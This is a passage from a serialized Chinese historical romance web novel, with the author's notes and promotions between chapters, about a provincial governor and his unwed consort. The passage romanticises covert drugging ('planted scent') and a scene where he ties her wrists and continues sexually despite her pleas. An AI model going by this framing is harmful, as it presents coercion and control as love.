不多时,车窗外响起一道清婉柔和的女子嗓音:“今日马车坏在此处,进退两难,多亏得遇姑娘心善,愿载我们主仆一程。朱幼宜在此诚谢姑娘恩情。” 孟清辞隔着车帘温声应道:“不必多礼。朱姑娘若不介意,便请上车来罢。” 待朱幼宜主仆登上马车坐定,朱幼宜再次向孟清辞郑重道谢。 孟清辞轻摆手里的团扇:“举手之劳,不必再提。” 此时,墨松于车外回禀:“姑娘,那马车车辕断裂,一时难以修好。” 孟清辞何其聪敏,早已从朱家主仆先前在路边的只言片语中猜出几分端倪,便吩咐道:“派个人随车夫去朱府,叫他们遣人来接。” 墨松刚应声欲走,孟清辞却忽然叫住他,问道:“是哪个朱家?可是经营染料生意的朱家?” 朱幼宜不料她竟识得自家,应道:“正是。” 孟清辞蹙了蹙眉,语气转冷,不客气道:“去,叫人去问问,他们朱家是不是买卖要败了,自家小姐出门,竟连个像样的马车也拿不出手了。” 朱家不过一介商贾,被巡抚府的人出面敲打,只怕要吓破胆。 墨松不知姑娘为何要管这个闲事儿?但这却不是什么大事儿,便叫来个口齿伶俐的仆婢,仔细交代一番,打发这仆婢跟着车夫回城去。 方才马车驶过时,朱幼宜匆匆一瞥,只觉车中女子容貌极盛。此刻近看,更觉她年纪甚轻。 但见孟清辞梳着妇人发髻,朱幼宜不由心生疑惑:既已出嫁,为何仆从不称夫人,仍称其“姑娘”? 她刚才瞧见车辕处悬挂的巡抚府徽记,忽想起近来城中传得沸沸扬扬的流言,都说巡抚傅大人身边新添了一位佳人的风流韵事。 朱幼宜心下顿时了然,眼前这位,恐怕就是那位传闻中的人物,虽得大人宠爱,却并非明媒正娶的夫人。 外间皆传此女奢靡无度,尤善蛊惑人心,堪称祸水。然而此刻朱幼宜亲见孟清辞通身清华澹泊、仪态出尘,竟是这般超凡人物,心下不免为她欷歔惋惜。 两人年纪相仿,不多时便攀谈起来。孟清辞才知朱幼宜是朱家的大小姐。 闽州盛产靛蓝染料,此物亦是海贸中极受追捧的紧俏货,而闽州诸多染料商中,又以朱家为首。 昔日孟清辞尚在闽州时,曾帮傅静妤协送往老侯府的各方节礼,因而虽未一一亲见,她对闽州世家豪族却也心中有数。 只孟清辞从前养在侯府的园子里,平日只随傅静妤在女眷间往来走动。她在京畿这两年,容貌较之从前长开了不少,模样已大不相同。况且她不过一个奴婢,谁也未料想她还会回来,故而一时之间,并未有人认出她的身份。 待到了大雄宝寺,两人已颇有一见如故之感。于清静禅房中,孟清辞细听朱幼宜道尽眼下处境,沉吟片刻,方缓声道:“你如今上无父母怙恃,下无兄弟扶持。依宗族礼法,女子本无继承家业之权。眼下朱家的产业楔书及银钱握在你手里,此时为了脸面,你那些叔伯尚未撕破脸皮。待你出了孝期,他们耐心耗尽,便不只是商量,而是明夺强取了。” 她语气转沉,目光清冽:“若到那时你仍不肯低头,他们只须使些银钱打点官府,重立文书也非难事。律例纲常,从来偏向族中男丁,纵使你心有不甘,仅凭一人也难守住你父亲毕生心血。这一切,不知你可曾想过,日后作何打算? 朱幼宜唇线微抿,低声道:“我祖父当年宠妾灭妻,如今几位叔伯皆由继祖母所出。朱家上下早已没有我的亲人,亦无半分可留恋之处。我父生前便防着他们,账本除了我,再无人见过,我早已暗中将现银转走。只是名下产业与铺面数目颇丰,一时难以转手。” 她轻轻一叹,复又道:“城中世家关系盘根错节,无人愿开这个先例,接这烫手的山芋、落下不尊族规,坏规矩的话柄,又平白得罪朱氏全族。可我,更不愿就此便宜了那些虎视眈眈的豺狼之辈,方才拖延至今。” 孟清辞见朱幼宜虽孤身于世,却是个主意大的,并不似寻常闺阁女子软弱,更有几分反骨,敢于对抗宗族礼法。 不觉生出几分同病相怜之感。她略一沉吟,便倾身靠近,在朱幼宜耳边低语了几句。 朱幼宜原本苦无出路的难题,叫孟清辞三言两语,四两拨千斤的解开。甚是惊诧孟清辞一个外室女,竟如此得巡抚大人的宠爱,这般动辄数十万两银子的大事,她无需请示,片刻间便能做主。 然而经由这番交谈,她已信服孟清辞并非虚言托大,想她萍水相逢却愿倾力相助,朱幼宜不由心生触动,感激不已,遂并不迟疑,郑重颔首应下。 就在孟清辞靠近的那一刻,朱幼宜忽从她衣间萦绕的香粉气息中辨出一丝异样,她眸光倏而一闪,有一丝的不确定,她迟疑问道:“你被人‘种香’了?” 孟清辞的身子骤然一僵,猛地握住朱幼宜的手。她指尖微颤,一双美眸急切地在对方脸上来回巡睃,既激动难抑,又深怕是自己太想解开‘种香’,而产生了幻听。 孟清辞紧张的向禅房外望一眼,确定霞光并未靠近,才问:“你怎么知道?” 朱幼宜:“其实我” 正在此刻,霞光在门外回禀道:“姑娘,宋泊简,宋东家求见。” 孟清辞对朱幼宜比了个禁声的手势,只觉得心脏跳到了嗓子眼,她深吸一口气,对朱幼宜道:“你暂且回去等我的帖子,晾朱家不敢在闽广巡抚面前撒野。” 朱幼宜见她神情隐忍的模样,顿时心领神会的点了点头,心想:回去后,她还是要好好翻一翻娘亲留下的手札,确认一番才好。 别过朱幼宜,孟清辞在大雄宝寺后的假山凉亭里见了宋泊简。 宋泊简见孟清辞身高抽条,如盛开的牡丹,却是一副妇人装扮,眸中大慟:“怎么会变成这样?” 孟清辞却有些生气的质问他:“我不是叫霞光给你带话了,你怎么还是寻来了?他是巡抚,你不过无权无势的商贾,你不要命了吗?” 宋泊简声音低沉,却字字清晰:“我明白你的顾虑。可我宋泊简,绝非无情无义之徒。总叫我寻到机会见你一面,若能助你,纵使赔上性命也无妨。” 他目光灼灼,语气愈发坚定:“若非当年你出手相救,我早已命丧黄泉,我这条命是你的。” 这些时日,宋泊简始终放心不下孟清辞,一直派人暗中留意巡抚府的动静。得知她今日出城前往大雄宝寺,他觉得这是个难得的相见之机,便立即快马加鞭赶来。便是想问问她,是不是有什么难处,纵然自己人微力薄,却也愿为她出一份力。 “我救你本也不为这个,你我已经两清,此后不必再见,日后听闻我如何,亦是与你不相干,你速速走罢。”孟清辞叹一口气,转过身再不看宋泊简。 孟清辞当年便是看中宋泊简赤子之心,只她清楚傅珩那狗东西多疑的脾性,若叫她知道自己与别的男子在外约见,尤其这人与自己还有过婚盟,只怕会要了宋泊简的命,所以她才一回来便立时与宋泊简做切割,便是不想害了他。 宋泊简见她双肩纤细,明显是清减了,她背对着自己绝情的模样,让他胸口一阵滞闷,踟蹰一瞬,仍是问一句:“你如今可还好?” 孟清辞嗓音清冷:“你不是都看见了,穿金戴银,呼奴唤婢,日日可一掷千金,没有再好的,不要再来寻我,你已不欠我什么,日后若是遇见了,也当做从不认识。” 宋泊简轻声说:“若你那日需要,尽管派人给我递个信儿,我许诺你的,永远都作数。” “你我再无楔约,你走罢。”孟清辞脊背笔直,为他赤诚之心鼻间一酸,她想,她怎么会将两兄弟认错,宋泊简和宋闻璟两兄弟的性情明明南辕北辙。 待宋泊简离去,霞光踏入凉亭,见孟清辞正站在风口处,温声劝道:“姑娘,您如今身子正弱,这风口上实在不宜久留,还是随我下去罢。” 孟清辞见霞光寻来,收敛心神,先行步下假山。见墨松垂首静立在下,寸步不离地守着,神色间却略有怪异。 她不由冷笑一声:“今日之事,本不值一提。叫你手下的人都把嘴闭紧些。若有人节外生枝,非借此标榜忠义、在主子面前搬弄是非。”她语声微顿,眸光清冽:“我也不介意叫他尝尝穿小鞋的滋味。” 她瞥向墨松,毫不掩饰地威胁道:“过刚易折。太不知变通的忠仆,往往没什么好下场,通常死得最惨。” 墨松被她幽森的嗓音激得脊背一凉,没想到这位竟当面赤裸|裸的威胁自己。 他们四个墨对傅珩是绝对的忠诚,但此时却也被孟清辞拿住了七寸。 以主子如今待她的稀罕劲儿,墨松完全不怀疑,若这位祖宗真吹一吹枕边风,只怕他小命休矣。 墨松转念一想,她的话不无道理。觉得本来并没什么事,可他若将今日之事禀报主子,以主子的性子,定是要多生事端,到时候他们两人发生龃龉,吃瓜落的还是他们这些奴才,到底捞不着好。 墨松思忖数息,忙躬身赔笑:“姑娘放心,属下必定约束众人,守口如瓶。今日,什么也不曾发生。” 孟清辞轻哼一声,不再多言,转身径直离去。 墨松见霞光随后走下,忍不住低声埋怨:“都是你出的主意,如今我倒落得个进退两难!早知如此,就不应该放你去通禀。” 霞光瞪了他一眼,将声音压得更低:“这么些时日了,你竟还没摸清姑娘的性子?若是日后叫她知晓你拦下了,欺瞒了,你以为能有什么好果子吃?” 她觑一眼孟清辞渐行渐远的背影,劝道:“姑娘眼里从来揉不进沙子,更不是什么软性子的人。我劝你早早看清才是。”说完便脚步匆匆的跟了上去。 墨松只得在后头暗自叫苦,叫他万万没想到的是,今日还有更倒霉的事情等着他。 暮色四合,夕阳的余晖将天边染作一片暖金,全洒在了大雄宝寺的殿脊。 孟清辞却执意在大雄宝寺留宿下来,更向寺中讨了一处清静院落安置。 她竟就在自己眼皮子底下做出这般安排,墨松事先却浑然未觉。他心头蓦地一跳,骤然想起今日“偶遇”的朱家大小姐。心中瞬间明了,暗骂自己疏忽大意,姑娘定然是托付了朱家大小姐办的。 墨松只觉得眼前一黑,可他不敢用强,只能提醒道:“姑娘,咱们还是赶紧回去的好,主子有交代,晚了必要回府,若是在外久待,与您身子总是有碍的。” 孟清辞似笑非笑问他:“是么?我怎么不知道?不如你仔细说与我听听?” 墨松不过是听命行事,又哪里说得清楚?急得冷汗涔涔,只得低声恳求:“姑娘,您就可怜可怜咱们这些底下人吧!趁天色还未黑透,启程回府罢。” 孟清辞却不再搭理他,转身径自踏入禅房,“砰”地一声将房门紧闭,只留墨松僵立门外,满面惶然,求助的看霞光。 霞光回给他一个爱莫能助的目光,转身去大雄宝寺的后厨房,为孟清辞安排寻斋饭去了。 墨松面色骤变,急忙召来仆婢,厉声喝道:“快!速回府中禀报主子!若有半分延误,你我谁都担待不起!” 一名仆婢应声而出,当即转身疾奔下山。至山脚翻身上马,一刻不敢耽搁,扬鞭策马朝着府邸方向疾驰而去。 是夜,孟清辞用过寺中素斋,便将霞光等人尽数屏退。房门下了栓,烛火也早早熄灭。她独自躺在禅房那略显坚硬的床榻上,初时心中很是忐忑,辗转难眠。 不知过了多久,许是白日里奔波劳顿,孟清辞终于感到眼皮渐渐沉重如坠,再顾不得许多,渐渐沉入睡梦中。 梦中唯见一片浓墨般的黑暗,无边无际,吞噬万物。她独自踽踽而行,却渐觉周身沉重,似有无形之物层层压覆,脚步愈发滞涩,呼吸也艰难起来。 她欲张口喘|息、奋力呼喊,却不知被什么堵住咽喉,半点声响也发不出。惶然四顾,天地间只余她一人,呼天不应,唤地不灵,彻骨寒意自心底蔓延开来。 胸口如同被千钧巨石死死压住,孟清辞骤然惊醒,猛地睁开双眼,惊惶中,猝不及防地撞进了一双幽深细长的黑眸之中。 不是傅珩,又是谁。 孟清辞伸手抵在他胸前,试图挣出些许喘息的空间,气急败坏问:“你来做什么?” “不太不乖了。”傅珩一把将她仍在挣动的双手牢牢压在枕侧:“你不肯听话,自然要我这个做干爹的亲自来罚你。” 孟清辞听他这般不知羞耻的混账话,不由微愠,又气又恼地瞪他:“你骗人,什么‘种香’,根本就没有什么。” 傅珩的气息贴着她的耳畔掠过,轻哂一声:“好姑娘,别问,你不会想知道的。” 孟清辞察觉他动作越发逾矩,惊得嗓音都变了调:“你疯了不成?这可是佛门净地!” 傅珩却嗤笑一声,指尖掠过她微颤的唇,声音低沉而危险::“你如此调皮不听话,自然是叫漫天神佛看着我怎么罚你。” 孟清辞猛地抬腿欲踹向他,却又不敢高声,只得压着嗓子急斥:“你这混蛋!你自己不做人,我还要做人,还不快点起来。” 傅珩此时也冷了脸色,眸光幽沉如夜,声音里透出不容转圜的寒意:“此时才后悔,晚了。” 傅珩轻易便制住了她胡乱踢蹬的双腿,随即利落地抽下她的腰带,将那双不断挣扎的手腕捆住,拴在了床头的栏上。 孟清辞青丝散乱,如墨般铺陈枕上,几缕散乱发丝遮住了她半张脸,剪水秋瞳中盈满了惊惧之色,不敢相信他如此癫狂,赶忙服软的认错:“我错了,你饶过我这一次。” 傅珩慢条斯理的,将手指按在自己玉腰扣上,嗓音依旧是独对她时才有的低沉温润:“别怕,今日我轻些。” 这话听在孟清辞耳中,却只叫她汗毛倒竖。她急得声音里漫上哭腔,手腕不住地挣动:“你放开我,求你了!我错了,真的,别在这儿,别在这里……”—— 作者有话说:今日很多了[比心] 预收文《锁金枝》爆好看 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 排雷: 1、古早狗血,1v2,男全洁,女主娇弱 美人×枭雄 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第33章 第 33 章 轻挑慢拢 傅珩来得极急。一路快马疾驰, 披着满身未化的山间夜霜,衣袂间挟着凛冽寒气。此时见了孟清辞,反倒不疾不徐起来。 ‘啪嗒’一声轻响, 傅珩腰间的玉扣应声松开。 孟清辞下意识地挣动被缚的双手, 一段纤细楚腰在月光下不自觉轻扭,如风中颤动的柔枝。 月华泠泠, 映亮傅珩凛冽的轮廓,脸色深冷阴鸷, 叫孟清辞蓦地生出几分惧意。她下意识想向后缩去,却被他结结实实压在原地,分毫动弹不得。 傅珩抬手掐住她的下颌, 力道不重,却不容挣脱。他声音低缓,字字清晰:“你要叫干爹, 我认了;你不想困在府里,我依你;你日日一掷千金,我也从未说过一个不字。”他指节微微收紧, 俯身逼近,气息冷冽:“唯有一个,你不该动想要摆脱我的念头。” 床榻上渐渐染上傅珩身上的松柏木香, 是孟清辞如今在熟悉不过的气息, 像是刻入了她的骨髓。 她这段时间像是对傅珩产生了生理喜欢, 久不见他便会想, 想念他身上的味道, 想念他怀抱的温度,想他指腹的触感。只想靠近,贴紧, 温存厮磨。 这感觉并不汹涌,只如暗潮潜生、丝缕缠绕,却偏偏因此更叫孟清辞心惊胆寒。 她眼底的惧意如薄冰般清晰易碎,傅珩凝视着那双几乎能将人溺毙的美眸,轻易便读懂了其中无声的惊惶。 傅珩修长的食指依恋的描摹她的眉眼,仿佛在抚慰一件弥足珍贵的珍宝。细长的眼眸渐渐有了温度,嗓音轻柔,循循善诱:“别怕,你不过是喜欢我。” 他指尖划过她的鼻翼,朱唇,下颌,细颈,轻点在她心口处,眉眼舒展,心情愉悦的说:“你这里亦有我。” 一阵剧烈的战栗毫无预兆地窜过孟清辞的脊椎,如一股阴寒的蛇流,倏然窜遍全身,让她几近窒息。 孟清辞没有错过他眼底一闪而视的癫狂之色,她很识时务的立刻放软了姿态,眼波流转间漾起一层氤氲的水光,声音又轻又糯,带着恰到好处的娇怯:“我没有,我不过不过是和你撒娇撒痴,你这样疼我,怎会真同我计较呢?” 傅珩轻笑一声:“知你想我,这便疼你。” 她像是傅珩少时得的那把名琴,总是抚不够。 往日抚琴,总是轻.挑.慢.捻,琴音骤起,如惊雷破空,弦身剧颤,几欲断裂,发出痛苦的哀鸣。 孟清辞美眸涣散的望着头顶的一处放空,她的胸口不住的起伏,朱唇微张,像是被人扼住了喉咙。 她每每不容他,他便直到要害,毫无节制的肆意征战。只今日,今日似乎没有 然而,她从不知道傅珩能做到这个地步,他竟然竟然 屋内散开一股异样的气息,令她熟悉有陌生,有什么让她心里绷着的弦断了,令他羞愤欲死。 傅珩下榻来倒一杯清茶一仰而尽,口中还残留一丝她的味道:“想知道,若是我今夜我来,你会如何?”他叹息一声:“你不会想知道的。” 孟清辞此刻哪里还听得进他半分言语?她的双手早已被松开,猛地掩住了脸。指缝间先是漏出几声破碎的呜咽,随即那单薄的肩膀便止不住地轻颤起来,泪水竟比话语更先决堤。 傅珩见她吓成这副模样,折回榻上,将人搂在怀里哄:“好了,你只是太喜欢我了,别怕。”他顿了下,勾唇道:“我很喜欢。” 孟清辞今日仿佛被人彻底击碎了那层坚硬的壳,终于露出了里头最柔软的芯子。她破防的哀泣起来,身子一抽一抽地发着抖,任傅珩如何低哄劝慰皆无济于事。 最终,她竟是哭得力竭,昏昏沉沉地在他怀中睡了过去。 傅珩抱她在怀里,如璋如玉的面容如渊如海,深不可测,良久,将混了自己心头血的一杯水全数唯给了孟清辞。 次日,天光方才破晓,大雄宝寺内便响起隆隆钟声。沙弥们早课的梵音如潮水般阵阵传来,涤荡着山间的晨雾。 孟清辞被傅珩用厚重的披风裹紧,一路抱下山去,香车宝马绝尘而去。 自大雄宝寺归来后,孟清辞便终日恹恹,眉间凝着一缕挥之不去的倦意。她似乎不再抗拒傅珩,却也淡得像一潭静水,整个人透着一股疏离的懒散。 只夜里,烛影摇红,待傅珩多了几分亲近依赖。那是一种近乎本能的、只在黑暗中生长的情愫。 傅珩想她年纪小,从不识情滋味,又性情刚直倔强,动了情,一时心绪南平,遂并不挑破。 这日,孟清辞便独自倚坐在临窗的软榻上。她眸光迟滞地望向半阖的窗牖,反复想着前两日与朱幼宜所言。 到最后,她手中紧紧攥着一柄绣了“海棠春醉”的团扇,指节微微泛白。 霞光端着一碗冰镇酸梅汤轻步进来,碗外已凝了一层细密的水珠。见她仍是独自倚坐,神情疏懒地望着窗外,不由在心底暗叹一声。 她走近,将沁凉的瓷碗轻轻搁在案上,柔声劝道::“姑娘,用些酸梅汤吧,消消暑,人也精神些。” 孟清辞听霞光唤,回过身来,执起瓷碗,用了小半碗酸梅汤,那沁凉的酸甜似将胸中的郁结稍稍驱散了些许。 她将碗轻轻放下,眼底已恢复了几分清明,对霞光淡声道:“去将墨松唤来。” 霞光近日瞧着孟清辞越发沉默寡言,心下担忧,却也不便多问。见她吩咐,便低声应了退出去。不多时,便领着墨松轻轻步入室内。 墨松上前一步,恭敬躬身行礼,声音沉稳:“姑娘可是有什么吩咐?” 孟清辞眉目间凝着一片疏淡,从袖中抽出一张纸笺递过去:“去请衙门里办楔书的书吏过来。你将这上头的账目再仔细核算一遍,”她语气平静无波,“这单子上所列的田产、铺面、房产,所有产业都过户到三爷名下,一手过户,一手过银票,叫长房提前备好。” 墨松闻言一怔。毕竟这些时日,孟姑娘只喜欢置办些华服美饰,若说她爱慕虚荣、贪图享受,偏又从未见她穿戴,只命人收入库中便再无问津。 倒更像只是借此由头出府闲逛。似今日这般直接要买产业,确是破天荒头一遭。 他心下诧异,双手接过单子粗略一扫,饶是他经手傅珩名下无数庞大家资,也不由暗吸一口凉气,暗自咋舌:好家伙,这位姑娘果真是不鸣则已,一鸣惊人,手笔之大,旁人所不能及万一。 墨松凝神又细看了一遍清单,心中有数:若他所料不差,这纸上罗列的,怕是朱氏一族全副家底,竟连族田也赫然在列! 他思忖片刻,正待抬头回话,却撞上孟清辞冷冷瞥来的目光。那眼神淡得像初化的雪,却没来由叫他脊背一寒。 墨松言辞愈发谨慎,试探着开口:“那……是否要请朱家的主事人及族长一同前来?毕竟……这些产业……”他话未说尽,意有所指。 孟清辞漫不经心地摆了摆手中的团扇,扇面漾起细微的风声。她唇角牵起一丝极淡的讥诮,冷声道:“这就不必你费心了,自然是楔书上写了谁的名字,我便与谁交割。” 在闽州,风吹草动皆难逃巡抚府的耳目,朱家那点事,墨松自然心如明镜。 朱家纵是位居染料商会之首,说穿了也不过一介白衣商贾。上任家主没有儿子继承家业,如今各房挣得厉害,只要不影响每年缴纳税银,他们关起门来撕扯那点家私,巡抚府便也睁一只眼闭一只眼,懒得多加理会。 这位孟姑娘可不是什么菩萨烂好心肠,向来对闲事漠不关心。 墨松万万没想到,不过与那朱家大姑娘见了一两面,竟会陡然插手朱家这滩浑水,这分明是要替那势单力薄的孤女撑腰做主了。 虽说朱家资产颇丰,可在巡抚府眼中终究算不得什么。然而此事牵动朱氏全族生计,并非寻常买卖。 置产事小,倾覆朱氏事大,墨松并不敢擅专。 他恭谨应下孟清辞的吩咐,拿着单子,一转身,便径直朝着傅珩的书房疾步而去。 傅珩书房内,墨松垂首敛目,将孟清辞与朱家大小姐如何在大雄宝寺相识、往来细枝末节一一禀明。 傅珩静默听着,面上看不出什么情绪,食指,在那张朱家全部产业的清单上不轻不重地叩了两下,发出极轻微的声响。 “单子留在我这儿,”他语气平淡,听不出喜怒,“你先下去吧。” 墨松不敢多言,恭声应了一句“是”,便悄然退出了书房。 孟清辞听霞光来报,说傅珩将那张单子扣下了,她冷嗤了一声。 随即,她身姿袅娜优雅,漫步精神的起身坐在了梳妆台前,执起牙梳,不紧不慢地将散乱的鬓发一一理顺,动作间自带一段风流态度。随后搁下梳子,拣了支点翠蝉鸣钗斜斜簪入云鬓,又戴上一对水头极足的翠绿葫芦耳坠。那翡翠色泽莹澈,随着她细微的动作于耳畔轻荡,漾开一点流光。 最后,她指尖蘸了胭脂膏,对着菱花镜,徐徐晕染唇瓣。不过片刻,镜中人便褪去了方才的慵懒,眉目间重新缀上了明丽鲜妍的颜色。 手中扔拿着那把绣海棠春醉的团扇,跨进了傅珩的书房。 只见美人轻执团扇半遮玉容,更衬得螓首低垂,蛾眉宛转。眼波流转间似含情凝睇,风华清靡,仪态万方。她腰细如柳,不堪一握,行步时裙袂轻扬,一双玉腿修长匀称,于轻纱之下隐约可见其形,步履姗姗,恍若春云映月,秋水涵星—— 作者有话说:一直是个生物钟在变的人,昨天临时出去办事儿,又赶上姨妈来前难受,就这样了。 日更可以保证,时间,目测不是半夜了。感谢小可爱们理解。 推文《天命》 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 排雷: 1、古早狗血,1v2,男全洁,女主娇弱 美人×枭雄 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第34章 第 34 章 皆如珍宝 傅珩于书案间抬首, 细长的眼尾微扬,冷肃的黑眸中倏地掠过一丝难以捕捉的讶异。故作不知问她:“怎么这时候过来了?” 孟清辞一双含情目嗔他一眼,笑眼弯弯:“不欢迎我?” 傅珩:“怎会!” 他从前只觉她清艳脱俗、不染尘媚, 宛如冰雪塑成的莲, 骨子里透着不容侵犯的神性之美。叫他想要攀折,拉她于自己一同进世俗的泥潭里。 何曾见过她此刻模样, 似暗夜初绽的妖魅,又似林间倏忽现形的精灵。 那双清凌凌的眸子盈盈漾水, 眼波流转间仿佛藏了无声的钩,只那么轻轻一瞥,便似能将他整颗心都攫了去。她目光中缱绻的情意几乎要溢出来, 甜如蜜,软如云,才一眼, 就叫他心口发烫、呼吸微滞。 可下一刻,念头陡转:她便是以这般情态穿庭而过,柳腰轻摇、莲步生姿。不知落入多少下人眼中。傅珩眸色一沉, 戾气顿生,几乎想要将那些窥见的眼睛一一剜去。 他甚至生出卑劣的念头他想将她藏起来,锁进深楼高阁, 唯他可见、唯他可触。她的娇、她的媚、她这一身招摇的风情, 合该只属于他一人。 却又怕她因此更厌恶自己, 勉强压下心底的龌龊, 一时间心绪翻涌, 五味杂陈。 他自然为她难得的主动与用心而欢喜。可这欣喜之下,却泛起一层晦涩的苦意,她这般示好, 究竟有几分是真,几分是假? 即便他用了种香,她仍旧抗拒于他,自从大雄宝寺回来后,她看似温顺,实则郁郁寡欢。 她如今主动前来讨好,不过是有求于他,为的也不过是他的权势财富,而非他这个人? 思及此,傅珩不由得握紧了手中的笔管,指节微微发白,可他仍旧移不开眼,目光贪恋地锁在她身上,清醒地沉溺于她的艳光之中,心甘情愿地栽进她似有还无的温柔乡里。 不过数息之间,孟清辞已踱步至他宽大的桌案前,半个身子慵懒地压在那堆公文上。绣着海棠春醉的团扇轻巧一抬,便勾住了傅珩的下颌。她语带几分娇嗔质问:“是么?我怎么觉得,你是心疼我花你的银子了?怎么,这么快就腻了我?” 微微散开的衣襟因她前倾的姿势,泄出一段月中聚雪般的肌肤,翠碧色肚兜边缘若隐若现。傅珩眸色倏然转深,呼吸不着痕迹地重了几分。 他一把扣住她执扇的手腕,声音里掺了些许吃味的哑:“呵,爷的心都掏给你了,还差区区银两。”指腹摩挲着她细嫩的腕间皮肤,语气却强横,“一个朱家,我几时放在眼里?” 孟清辞眼尾轻挑,含嗔带媚地睨他一眼,手腕灵巧一转,团扇不轻不重地点在他心口:“你们男人说的总比唱的好听。眼下倒也罢了,日后你总要明媒正娶个正室夫人。你是知道我的脾性的——”她声音拖得绵长,带着几分漫不经心的威胁,“脏了的男人,休想再上我的榻。” 自跟随傅珩以来,她从未过问这些,今日主动提起,反倒让傅珩心口发热。他目光灼灼,语气笃定:“我从来只有你一个,何来别人?” 他稍顿,声音放软,“委屈你再稍等等,我已派人去寻你家人。若实在不成,也必给你一个风光的身份。”他指尖用力,一字一句道:“我傅珩的女人,绝不会叫你受委屈。” 他伸手欲揽她入怀,却被孟清辞娇笑着旋身躲开。她斜倚在对面的桌案边,似笑非笑地睨着他:“确实委屈。无媒无聘地跟了你,可知外面那些人说得有多难听?” 孟清辞心下却暗忖,原来他打的是这个主意。若换个寻常姑娘,怕是早被他这番“深情”打动了。 “此事是我不周。”傅珩理亏的讷讷一句,对外唤墨简进来,交代道:“去查。本官倒要看看,是谁胆大包天,敢嚼巡抚府的舌根” 墨简躬身叉手,恭声应道:“是。”自始至终未敢抬头,悄无声息地退了出去,轻轻掩上门扉。 傅珩抿紧薄唇,耳根罕见地泛起薄红,却仍强辩道:“你只当疼我一回。世上哪个男人见了你,还能做坐怀不乱的柳下惠?” 孟清辞冷哼一声,团扇轻点案上那张明晃晃的单子,正是朱家产业的明细:“说的好听,那何时派人把事儿给我办了?” 傅珩向后靠进圈椅,目光幽沉地盯着她:“你竟为了个不相干的人来与我说情,值得吗?” 团扇不轻不重地落在他肩头,她嗔怪道:“我乐意日行一善。吝啬便直于我说。” “自来到闽州,我何曾对你小气过?”傅珩轻叹,眼底浮起一丝暗光:“我替你办成这事,你也该日行一善,予我些甜头才好。” 孟清辞轻盈一跃,坐在他桌案边缘,裙裾如花绽开。俯身朝他轻笑,嗓音娇得能滴出水来:“老男人果真狡猾,净会拿好话哄人。你想怎样?说来听听。” 傅珩眸色幽深,声音低沉:“我听老宅的人说,你从前最爱舞技,连太子都为你的舞姿倾倒。自你跟了我之后,却从未见你舞过一回。” “娱人之技,不过尔尔。”孟清辞嗤笑一声,美眸妖冶地斜睨他:“这般陈年旧醋也吃,也罢,今日便便宜你了。” 说着,孟清辞便轻巧地跃下他的桌案。足尖微点,翩然起舞,身姿宛若春风中拂动的细柳,柔韧相济,刚柔并蓄。 傅珩不由得想起那日在长公主府,远远于桥上,见孟清辞翩跹起舞,便知她腰肢极软。后来在罗帐之间,那一握纤软更令他如痴如狂。却不知她能腰肢款摆间冶姿摇曳,风流诱惑。 却又截然不同。那日她的舞大气磅礴,刚柔并济,似出征的将军涤荡人心,叫人心潮澎湃;而今她一颦一笑、一转一瞥,却皆化作无声的蛊惑,如暗夜幽兰悄然吐芳。眼波流转间似诉情、似邀约,无声无息,却烧得他血脉沸燃。 傅珩只觉得膝上的指尖无端一酥,他不自觉地五指收拢,悄然握紧成拳。 叫她撩拨的心猿意马,再按耐不住,猛地起身,圈椅随之哗啦一声向后倒去,他却浑然不顾。 一步跨前,手臂环住她纤细腰肢,将她牢牢锁入怀中,低头便吻上了那两瓣娇艳朱唇。 她的回应让傅珩激烈忘情,险些失控,在沉沦前猛然抽身,黑眸里翻搅着情念欲.海。 孟清辞早已扣开他的玉带,软弱无骨的手在他结实虬结的腰腹上徘徊,叫傅珩倒吸一口气,一把抓住她作乱的小手。 他复杂难辨的望着怀里面色绯红,美眸迷离的美人,这朵他用心血浇.灌的娇花,此时因情意,绽放的愈加艳丽。 孟清辞添了朱唇,似是甘美回韵,娇软取笑他:“怎么了?如今改了主意,要做柳下惠了?” 傅珩心中挣扎翻涌,分明是她主动求欢,并非他用强,此刻教他如何舍得放手? 只是,倘若她事后翻脸怪罪,亦或是要避子汤,又不知要费多少工夫才能将这小祖宗哄回来。他喉结滚动,艰难地低声道:“我今日……尚未备避子汤。” 孟清辞却伸出一只纤臂勾住他的脖颈,另一只手轻轻按在他心口,垂眸轻语:“往日不过自惭身为奴婢,生怕生了孩子也要低人一等,自然不愿。可你既已许我正妻之位,又何须再避子。” “当真?”傅珩心头猛地一震,忍不住攥紧她的手腕,声音里带着一丝不敢置信的颤意:“你当真愿意……为我生儿育女?” 孟清辞嗤笑一声,眼波斜睨:“谁能保证必是儿子?” 傅珩急忙道:“不……不是非要儿子。只要是你生的,不论儿女,皆如珍宝。” 闽州外一辆马车疾驰而来。 车上婢女劝道:“小姐何必如此着急,只要有王爷在,傅大人还能另娶她人?”—— 作者有话说:傅珩:功夫不负有心人 孟清辞:呵,叫你乐一会儿。 这是1号的,这章掉落20个红包给全订留言 收藏下我的下一个文呀《天命》 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 排雷: 1、古早狗血,1v2,男全洁,女主娇弱 美人×枭雄 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第35章 第 35 章 新婚燕尔 云消雨歇, 孟清辞趴在榻上,露出一节惑人堕落的香肩。 “你那舞姿,怎么也不像是安义侯府请的女先生能教出来的。”傅珩为她擦去额角的细汗, 撩开似绸缎般顺滑的乌发, 在她脸颊上印上一吻,打破一室旖旎:“你是不是想起什么了?” 日渐相处中, 傅珩愈发觉得她的谈吐眼界与气度心性,绝非一个寻常奴婢所能及。他不由疑窦丛生, 莫非想起了自己的身世?然则,究竟是何等门第,才能养出这般离经叛道、甚至敢于口出狂言的女子? 孟清辞有气无力的哼哼:“嗓音里带着一丝虚软的嘲弄:“记起什么?记起如何扭动腰肢、跳舞取悦男人么?”她转过头, 眼风如刀,鄙夷地瞥向他:“你又当我是什么出身?勾栏瓦肆出来的?” 